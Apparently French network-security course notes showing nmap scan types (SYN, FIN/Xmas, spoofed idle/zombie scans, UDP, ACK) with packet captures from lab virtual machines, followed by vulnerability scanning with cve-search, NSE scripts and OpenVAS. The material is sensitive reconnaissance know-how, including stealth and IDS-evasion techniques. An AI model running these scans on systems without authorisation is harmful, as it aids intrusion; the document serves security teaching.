Capture sur le port TCP 21 avec tcpdump

# tcpdump tcp port 21 &
[1] 14109
# tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

Scan sur le port TCP 21 avec nmap

# nmap -sT -p 21 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT   STATE SERVICE
21/tcp open  ftp

Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds

Résultat de la capture de Kali2-0C vers 192.168.122.191.ftp :

  1. Echange SYN, SYN/ACK; ACK
  2. Message RST/ACK

SYN

# 20:32:36.128889 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [S], seq 2622041564, win 29200, options [mss 1460,sackOK,TS val 4298823 ecr 0,nop,wscale 10], length 0

SYN/ACK

20:32:36.129109 IP 192.168.122.191.ftp > Kali2-0C.49785: Flags [S.], seq 3495000159, ack 2622041565, win 5792, options [mss 1460,sackOK,TS val 156165 ecr 4298823,nop,wscale 6], length 0

ACK

20:32:36.129130 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [.], ack 1, win 29, options [nop,nop,TS val 4298823 ecr 156165], length 0

RST/ACK


20:32:36.129155 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [R.], seq 1, ack 1, win 29, options [nop,nop,TS val 0 ecr 156165], length 0

7.7. Scan furtif TCP SYN

-sSfurtif Scan TCP SYN

Le scan SYN est celui par défaut et le plus populaire pour de bonnes raisons. Il peut être exécuté rapidement et scanner des milliers de ports par seconde sur un réseau rapide lorsqu’il n’est pas entravé par des pare-feux. Le scan SYN est relativement discret et furtif, vu qu’il ne termine jamais les connexions TCP. Il marche également contre toute pile respectant TCP, au lieu de dépendre des particularités environnementales spécifiques comme c’est le cas avec les scans Fin/Null/Xmas, Maimon ou Idle. En plus, il permet une différentiation fiable entre les états ouvert, fermé et filtré.

Cette technique est souvent appelée le scan demi-ouvert (half-open scanning), car il n’établit pas pleinement la connexion TCP. Il envoie un paquet SYN et attend sa réponse, comme s’il voulait vraiment ouvrir une connexion. Une réponse SYN/ACK indique que le port est en écoute (ouvert), tandis qu’une RST (reset) indique le contraire. Si aucune réponse n’est reçue après plusieurs essais, le port est considéré comme étant filtré. Le port est également considéré comme étant filtré si un message d’erreur « unreachable ICMP (type 3, code 1,2, 3, 9, 10 ou 13) » est reçu.

Exemple d’un port ouvert :

# nmap -sS -p 21 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:49 CET
Nmap scan report for 192.168.122.191
Host is up (0.00067s latency).
PORT   STATE SERVICE
21/tcp open  ftp
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
# 20:49:50.664419 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [S], seq 943880828, win 1024, options [mss 1460], length 0
20:49:50.664728 IP 192.168.122.191.ftp > Kali2-0C.48258: Flags [S.], seq 2525202399, ack 943880829, win 5840, options [mss 1460], length 0
20:49:50.664751 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [R], seq 943880829, win 0, length 0
20:49:50.764623 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [S], seq 943946365, win 1024, options [mss 1460], length 0
20:49:50.764939 IP 192.168.122.191.ftp > Kali2-0C.48259: Flags [S.], seq 2529707968, ack 943946366, win 5840, options [mss 1460], length 0
20:49:50.764961 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [R], seq 943946366, win 0, length 0

Exemple d’un port fermé :

# tcpdump -v tcp port 88 &
[1] 20216
# tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
# nmap -sS -p 88 -Pn 192.168.122.1

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:54 CET
Nmap scan report for 192.168.122.1
Host is up (0.00020s latency).
PORT   STATE  SERVICE
88/tcp closed kerberos-sec
MAC Address: FE:54:00:01:69:7C (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
# 20:54:37.000511 IP (tos 0x0, ttl 37, id 14382, offset 0, flags [none], proto TCP (6), length 44)
    Kali2-0C.44374 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc2 (correct), seq 2292300697, win 1024, options [mss 1460], length 0
20:54:37.000625 IP (tos 0x0, ttl 64, id 33431, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.1.kerberos > Kali2-0C.44374: Flags [R.], cksum 0x486b (correct), seq 0, ack 2292300698, win 0, length 0
20:54:37.100696 IP (tos 0x0, ttl 43, id 1489, offset 0, flags [none], proto TCP (6), length 44)
    Kali2-0C.44375 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc3 (correct), seq 2292235160, win 1024, options [mss 1460], length 0
20:54:37.100901 IP (tos 0x0, ttl 64, id 33433, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.1.kerberos > Kali2-0C.44375: Flags [R.], cksum 0x486c (correct), seq 0, ack 2292235161, win 0, length 0

Scan d’une Windows 10 pro avec pare-feu et RDP activé

# nmap 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:08 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00061s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds

Scan d’une machine Windows 8.1 sans pare-feu

# nmap 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:14 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00046s latency).
Not shown: 991 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
10243/tcp open  unknown
49155/tcp open  unknown
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 25.48 seconds

Scan d’un machine Windows XP familial

# nmap 192.168.122.228

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:18 CET
Nmap scan report for winxp-template (192.168.122.228)
Host is up (0.00031s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 52:54:00:5D:17:6F (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds

7.8. Scans furtifs Scans TCP Null, FIN et Xmas

-sN; -sF; -sX (Scans TCP Null, FIN et Xmas)

Ces trois types de scans exploitent une subtile faille de la RFC TCP pour différencier les ports entre ouverts et fermés. La page 65 indique que “si le port [de destination] est dans l’état fermé… un segment ne contenant pas le drapeau RST provoque l’émission d’un paquet RST comme réponse.”. La page suivante indique que pour les paquets envoyés à des ports sans aucun des drapeaux SYN, RST ou ACK activés: “il est peut vraisemblable que cela arrive, mais si cela est le cas, il faut rejeter le segment.”

Pour les systèmes respectant ce texte de la RFC, soit uniquement des hôtes UNIX et certainement pas Windows, chaque paquet ne contenant ni SYN, ni RST, ni ACK se voit renvoyé un RST si le port est fermé et aucune réponse si le port est ouvert. Tant qu’aucun de ces drapeaux n’est utilisé, toute combinaison des trois autres (FIN, PSH et URG) son valides. Nmap exploite cela avec les trois types de scans:

Scan Null (-sN)

N’active aucun des bits (les drapeaux de l’en-tête TCP vaut 0).

Scan FIN (-sF)

N’active que le bit FIN.

Scan Xmas (-sX)

Active les drapeaux FIN, PSH et URG, illuminant le paquet comme un arbre de Noël (NDT: la fracture cognitive entre la culture anglo-saxonne et française se ressent fortement dans cette traduction…).

Ces trois types de scan ont exactement le même comportement, sauf pour les drapeaux TCP utilisés dans des paquets de tests (probes packets). Si un RST est reçu, le port est considéré comme étant fermé, tandis qu’une absence de réponse signifiera qu’il est dans l’état ouvertfiltré. Le port est marqué comme filtré si un message d’erreur ICMP « unreachable (type 3, code 1, 2, 3, 9, 10 ou 13) » est reçu.
L’avantage principal de ces types de scans est qu’ils peuvent furtivement traverser certains pare-feux ou routeurs filtrants sans état de connexion (non-statefull). Un autre avantage est qu’ils sont même un peu plus furtifs que le scan SYN. N’y comptez pas trop dessus cependant – la plupart des IDS modernes sont configurés pour les détecter. L’inconvénient majeur est que tous les systèmes ne respectent pas la RFC 793 à la lettre. Plusieurs systèmes renvoient des RST aux paquets quelque soit l’état du port de destination, qu’il soit ouvert ou pas. Ceci fait que tous les ports sont considérés commefermé. Les plus connus des systèmes qui ont ce comportement sont Microsoft Windows, plusieurs équipements Cisco, BSDI et IBM OS/400. Ce type de scan fonctionne cependant très bien contre la plupart des systèmes basés sur UNIX. Un autre désagrément de ce type de scan et qu’ils ne peuvent pas distinguer les ports ouvertsde certains autres qui sont filtrés, vous laissant face à un laconique ouvertfiltré.

Exemples :

# nmap -sF -p 88 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:35 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT   STATE  SERVICE
88/tcp closed kerberos-sec
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
root@Kali2-0C:~# 21:35:18.504313 IP (tos 0x0, ttl 40, id 10670, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.58705 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f33 (correct), seq 2577626922, win 1024, length 0
21:35:18.504489 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.191.kerberos > Kali2-0C.58705: Flags [R.], cksum 0x431f (correct), seq 0, ack 2577626923, win 0, length 0
21:35:18.604488 IP (tos 0x0, ttl 39, id 51250, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.58706 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f32 (correct), seq 2577561387, win 1024, length 0
21:35:18.604675 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.191.kerberos > Kali2-0C.58706: Flags [R.], cksum 0x431e (correct), seq 0, ack 2577561388, win 0, length 0
# nmap -sF -p 80 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.0012s latency).
PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# 21:32:56.020304 IP (tos 0x0, ttl 39, id 17011, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.53120 > 192.168.122.191.http: Flags [F], cksum 0x4883 (correct), seq 2828956856, win 1024, length 0
21:32:56.120480 IP (tos 0x0, ttl 50, id 17448, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.53121 > 192.168.122.191.http: Flags [F], cksum 0x4880 (correct), seq 2829022393, win 1024, length 0

7.9. Scan passif Idle Scan

-sI <zombie host[:probeport]>

Un idle scan, dumb scan ou zombi scan est une méthode de balayage de port TCP qui, grâce à des utilitaires tels que Nmap et Hping, utilise l’envoi de paquets possédant une adresse IP usurpée.

Cet exploit complexe permet à la fois de balayer les ports d’une machine ainsi que de mettre en évidence les liaisons de confiance (s’appuyant sur les adresses IP) entre les machines. L’attaque consiste en l’envoi de paquets forgés vers une machine donnée – la cible – dans le but d’obtenir des informations à propos d’elle mais via une autre machine – le zombi.

Cette méthode de scan avancé permet de faire un véritable scan de port TCP en aveugle, (dans le sens où aucun paquet n’est envoyé directement à la cible depuis votre vraie adresse IP). En effet, la technique employée consiste à récolter des informations sur les ports ouverts de la cible en utilisant un exploit basé sur la prédictibilité de la génération des identifiants de fragmentation IP de l’hôte relais (le zombie). Les systèmes IDS considéreront que le scan provient de la machine zombie que vous avez spécifié (qui doit remplir certains critères).

L’idle scan exploite le fait que l’on peut, sous certaines conditions, prédire les numéros d’identification IP (IPID). L’attaquant doit d’abord rechercher une machine avec une séquence d’IPID prévisible. Par exemple, le numéro d’identification sera incrémenté de 1 à chaque fois. Les dernières versions de Linux, Solaris et OpenBSD ne sont pas des cibles appropriées puisque les algorithmes de génération d’IPID ont été corrigés. Les machines choisies pour être utilisées à ce niveau sont parfois appelées « zombis ». Une fois qu’une machine zombi a été trouvée, la première étape est de déterminer le numéro IPID actuel de la machine : en envoyant un pacquet SYN/ACK au zombi, le pirate recevra un paquet RST portant le numéro de séquence.

L’étape suivante consiste en l’envoi d’un paquet SYN à la machine cible, en usurpant l’adresse IP du zombi. Si le port de la machine cible est ouvert, celle-ci répondra au zombi avec un paquet SYN/ACK. Le zombi va donc envoyer un paquet RST à la cible car il n’est pas réellement l’émetteur du premier paquet SYN. Puisque la machine zombi a dû envoyer le paquet RST, elle incrémente son IPID. C’est ce qui permet à l’attaquant de découvrir si le port de la cible est ouvert. La dernière étape est donc la vérification de l’IPID, en envoyant à nouveau un paquet SYN/ACK au zombi.

Si l’IPID contenu dans le paquet RST reçu en réponse a été incrémenté deux fois, on est certain que le port cible est ouvert. En revanche si l’IPID n’est incrémenté qu’une fois, alors l’attaquant saura que ce port est fermé ou filtré.

Source de l’image

Exemple avec nmap une cible Windows 8.1 et un zombi Windows XP familial :

# nmap -PN -p135-139 -sI 192.168.122.228 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:03 CET
Idle scan using zombie 192.168.122.228 (192.168.122.228:80); Class: Incremental
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.023s latency).
PORT    STATE           SERVICE
135/tcp open            msrpc
136/tcp closed|filtered profile
137/tcp closed|filtered netbios-ns
138/tcp closed|filtered netbios-dgm
139/tcp open            netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds

7.10. Scan UDP

-U

Même si les services les plus connus d’Internet son basés sur le protocole TCP, les services UDP sont aussi largement utilisés. DNS, SNMP ou DHCP (ports 53, 161/162 et 67/68) sont les trois exemples les plus courants. Comme le scan UDP est généralement plus lent et plus difficile que TCP, certains auditeurs de sécurité les ignorent. C’est une erreur, car les services UDP exploitables sont courants et les attaquants eux ne les ignoreront pas. Par chance, Nmap peut aider à répertorier les ports UDP.

Le scan UDP est activé avec l’option-sU. Il peut être combiné avec un scan TCP, comme le scan SYN ( -sS), pour vérifier les deux protocoles lors de la même exécution de Nmap.

Le scan UDP envoie un en-tête UDP (sans données) à chaque port visé. Si un message ICMP « port unreachable (type 3, code 3) » est renvoyé, le port est alors fermé. Les autres messages d’erreur « unreachable ICMP (type 3, codes 1, 2, 9, 10, or 13) » rendront le port filtré. À l’occasion, il arrive qu’un service répond par un paquet UDP, prouvant que le port est dans l’état ouvert. Si aucune réponse n’est renvoyée après plusieurs essais, le port est considéré comme étant ouvertfiltré. Cela signifie que le port peut être soit ouvert, soit qu’un dispositif de filtrage bloque les communications. Le scan de versions ( -sV) peut être utilisé pour différencier les ports ouverts de ceux filtrés.

Une des grandes difficultés avec le scan UDP est de l’exécuter rapidement. Les ports ouverts et filtrés ne renvoient que rarement des réponses, laissant Nmap expirer son délai de retransmission au cas où les paquets se soient perdus. Les ports fermés posent encore un plus grand problème: ils renvoient normalement une erreur ICMP « port unreachable ». Mais à la différence des paquets RST renvoyés par les ports TCP fermés en réponse à un scan SYN ou à un connect(), de nombreux hôtes limitent par défaut la cadence d’émission de ces messages. Linux et Solaris étant particulièrement stricts à ce sujet. Par exemple, le kernel 2.4.20 limite cette cadence des destinations inaccessibles (« destination unreachable ») à un par seconde (cf.net/ipv4/icmp.c).

Nmap détecte cette limitation de fréquence et s’y ralenti conformément afin d’éviter de saturer le réseau avec des paquets inutiles que la machine cible rejettera. Malheureusement, une limitation à la Linux d’un paquet par seconde fera qu’un scan des 65 536 ports prendra plus de 18 heures. Les idées pour accélérer les scans UDP incluent le scan des cibles en parallèle, ne scanner que les ports les plus courants en premier, scanner derrière le pare-feu et utiliser l’option –host-timeoutpour éviter les hôtes les plus lents.

Exemple de scan UDP en 17 minutes 54 secondes :

#nmap -sU 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:19 CET
Nmap scan report for 192.168.122.191
Host is up (0.00041s latency).
Not shown: 993 closed ports
PORT     STATE         SERVICE
53/udp   open          domain
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
111/udp  open          rpcbind
137/udp  open          netbios-ns
138/udp  open|filtered netbios-dgm
2049/udp open          nfs
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1073.88 seconds

5.11. Scan TCP ACK

-sA

Ce type de scan est différent des autres abordés jusqu’ici, dans le sens où ils ne peuvent pas déterminer si un port est ouvert (ni même ouvertfiltré). Il est utilisé pour établir les règles des pare-feux, déterminant s’ils sont avec ou sans états (statefull/stateless) et quels ports sont filtrés.

Le scan ACK n’active que le drapeau ACK des paquets. Les systèmes non-filtrés réagissent en retournant un paquet RST. Nmap considère alors le port comme non-filtré, signifiant qu’il est accessible avec un paquet ACK, mais sans savoir s’il est réellement ouvert ou fermé. Les ports qui ne répondent pas ou renvoient certains messages d’erreur ICMP (type 3, code 1, 2, 3, 9, 10, ou 13), sont considérés comme filtrés.

Un pare-feu ne répondra rien.

Veuillez apprécier la nuance :

Une machine Windows 10 avec pare-feu :

# nmap -sA -p139 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:29 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.0012s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# nmap -p139 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00054s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

Une machine Windows 8.1 Pro :

# nmap -sA -p139 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.0012s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
# nmap -p139 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00100s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
root@Kali2-0C:~# nmap -p139 192.168.122.208

Un pare-feu Linux :

# nmap -sA -p139 192.168.122.225

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for 192.168.122.225
Host is up (0.00094s latency).
PORT    STATE      SERVICE
139/tcp unfiltered netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
# nmap -p139 192.168.122.225

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for 192.168.122.225
Host is up (0.00055s latency).
PORT    STATE  SERVICE
139/tcp closed netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds

8. Scans de vulnérabilté

https://www.threatminer.org/index.php

Détection de patch

8.1. CVE

Source : https://fr.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures

https://cve.mitre.org/

Common Vulnerabilities and Exposures ou CVE est un dictionnaire des informations publiques relatives aux vulnérabilités de sécurité. Le dictionnaire est maintenu par l’organisme MITRE, soutenu par le département de la Sécurité intérieure des États-Unis.

Les identifiants CVE sont des références de la forme CVE-AAAA-NNNN (AAAA est l’année de publication et NNNN un numéro incrémenté).

Le contenu du dictionnaire CVE peut être téléchargé. Cette liste contient une description succincte de la vulnérabilité concernée, ainsi qu’un ensemble de liens que les utilisateurs peuvent consulter pour plus d’informations.

Il existe de nombreux produits de sécurité qui traitent de vulnérabilités et qui utilisent donc les identifiants CVE :

  • les services d’information sur les vulnérabilités,
  • les systèmes de détection d’intrusion,
  • les systèmes de prévention d’intrusion,
  • les scanneurs de vulnérabilités,
  • les outils de gestion de parc informatique,
  • etc.

Afin que ces produits utilisent avec rigueur les identifiants CVE, le MITRE a mis en place une procédure de compatibilité CVE qui impose notamment :

  • un affichage des identifiants CVE (« CVE Output »),
  • une fonctionnalité de recherche parmi les identifiants CVE (« CVE Searchable »),
  • une procédure de mise à jour de la base de données (« Mapping »),
  • une aide sur les concepts relatifs à CVE (« Documentation »).

Source : https://github.com/cve-search/cve-search

git clone https://github.com/cve-search/cve-search

cd cve-search

apt install python3-pip
pip3 install -r requirements.txt

apt install mongodb
systemctl enable mongodb
systemctl start mongodb

./sbin/db_mgmt.py -p
Database population started
Importing CVEs for year 2002
Importing CVEs for year 2003
Importing CVEs for year 2004
Importing CVEs for year 2005
Importing CVEs for year 2006
Importing CVEs for year 2007
Importing CVEs for year 2008
Importing CVEs for year 2009
Importing CVEs for year 2010
Importing CVEs for year 2011
Importing CVEs for year 2012
Importing CVEs for year 2013
Importing CVEs for year 2014
Importing CVEs for year 2015
Importing CVEs for year 2016

./sbin/db_mgmt_cpe_dictionary.py
Preparing [##################################################] 114942/114942
./sbin/db_updater.py -c

Exemples d’utilisation

En ligne de commande :

Interface Web

apt install redis-server
systemctl enable redis-server
systemctl start redis-server
python3 ./web/index.py

8.3. CVE-Scan

  • Scan a system with NMap or any other scanning tool and use the scan to analyse the systems for vulnerabilities
  • Have the posibility for multiple input formats (NMap scan, xml, Json, etc)
  • Use CVE-Search to enhance the scan to add more information
  • Have multiple export formats as well as webbrowser component

Installation


git clone git clone https://github.com/NorthernSec/cve-scan
cd cve-scan
apt-get install -y nmap
pip3 install -r requirements.txt

Utilisation

Scan de la cible :

nmap -A -O 192.168.23.132 -oX output.xml

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-09-18 03:19 CEST
Nmap scan report for win81-base.lan (192.168.23.132)
Host is up (0.010s latency).
Not shown: 992 filtered ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 8.1 Enterprise Evaluation 9600 microsoft-ds (workgroup: WORKGROUP)
554/tcp   open  rtsp?
2869/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
10243/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49155/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X|3.X, Microsoft Windows 7|2012
OS CPE: cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Microsoft Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: Host: WIN81-BASE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 9h53m22s, deviation: 0s, median: 9h53m22s
|_nbstat: NetBIOS name: WIN81-BASE, NetBIOS user: <unknown>, NetBIOS MAC: 52:54:00:9c:2f:0c (QEMU virtual NIC)
| smb-os-discovery:
|   OS: Windows 8.1 Enterprise Evaluation 9600 (Windows 8.1 Enterprise Evaluation 6.3)
|   OS CPE: cpe:/o:microsoft:windows_8.1::-
|   NetBIOS computer name: WIN81-BASE
|   Workgroup: WORKGROUP
|_  System time: 2016-09-18T13:15:05+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.13 ms 172.16.98.2
2   0.17 ms win81-base.lan (192.168.23.132)

Post-scan script results:
| clock-skew:
|_  9h53m22s: Majority of systems scanned
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 192.61 seconds

Génération d’un rapport détaillé :

python3 ./bin/analyzer.py -x output.xml enhanced.json
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_server_2012
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel:3.2
Querying https://127.0.0.1:5000/api/cvefor/cpe:/a:vmware:player
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel:2.4.37
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_xp::sp3
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_7
Querying https://127.0.0.1:5000/api/cvefor/cpe:/h:actiontec:mi424wr-gen3i
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel
python3 ./bin/visualizer.py enhanced.json

8.4. Produits

  1. OpenVAS
    • Acunetix® Web Security Scanner
    • Retina® Network Security Scanner
    • GFI LANguard™
    • HP Web Inspect®
    • IBM AppScan®
    • IBM Internet Scanner®
    • Lumension® Scan
    • Portswigger Burp Suite
    • McAfee® Vulnerability Manager
    • TripWire IP360™
    • Rapid7 AppSpider
    • Rapid7 Nexpose
    • Qualys QualysGuard®
    • SAINTscanner®
    • Tenable Nessus®
    • Tenable Security Scanner®
    • Tenable SecurityCenter™
    • Trustwave App Scanner

8.5. NSE

NSE dispose aussi d’un détecteur de vulnérabilités

Sur un Windows XP sans pare-feu :

nmap --script vuln 192.168.23.211

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-09-22 19:23 CEST
Nmap scan report for xplab-8c8d5bb0e.entreprise.lan (192.168.23.211)
Host is up (0.00092s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 52:54:00:D5:0B:0A (QEMU virtual NIC)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 16.53 seconds

Avec un pare-feu activé :

# nmap --script vuln 192.168.122.228

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-19 06:20 CET
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     192.168.122.98
|     192.168.122.58
|     192.168.122.41
|     192.168.122.40
|     192.168.122.163
|     192.168.122.209
|     192.168.122.252
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for winxp-template (192.168.122.228)
Host is up (0.00030s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 52:54:00:5D:17:6F (QEMU Virtual NIC)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 57.18 seconds

8.6. Openvas

OpenVAS, (acronyme de Open source Vulnerability Assessment Scanner, anciennement GNessUs), est un fork sous licence GNU GPL du scanner de vulnérabilité Nessus dont le but est de permettre un développement libre de l’outil qui est maintenant sous licence propriétaire. (https://fr.wikipedia.org/wiki/OpenVAS)

Sur Kali Linux :

root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade

root@kali:~# apt-get install openvas
root@kali:~# openvas-setup
/var/lib/openvas/private/CA created
/var/lib/openvas/CA created

[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.
[i] Online information about this feed: 'https://www.openvas.org/openvas-nvt-feed
...
sent 1143 bytes received 681741238 bytes 1736923.26 bytes/sec
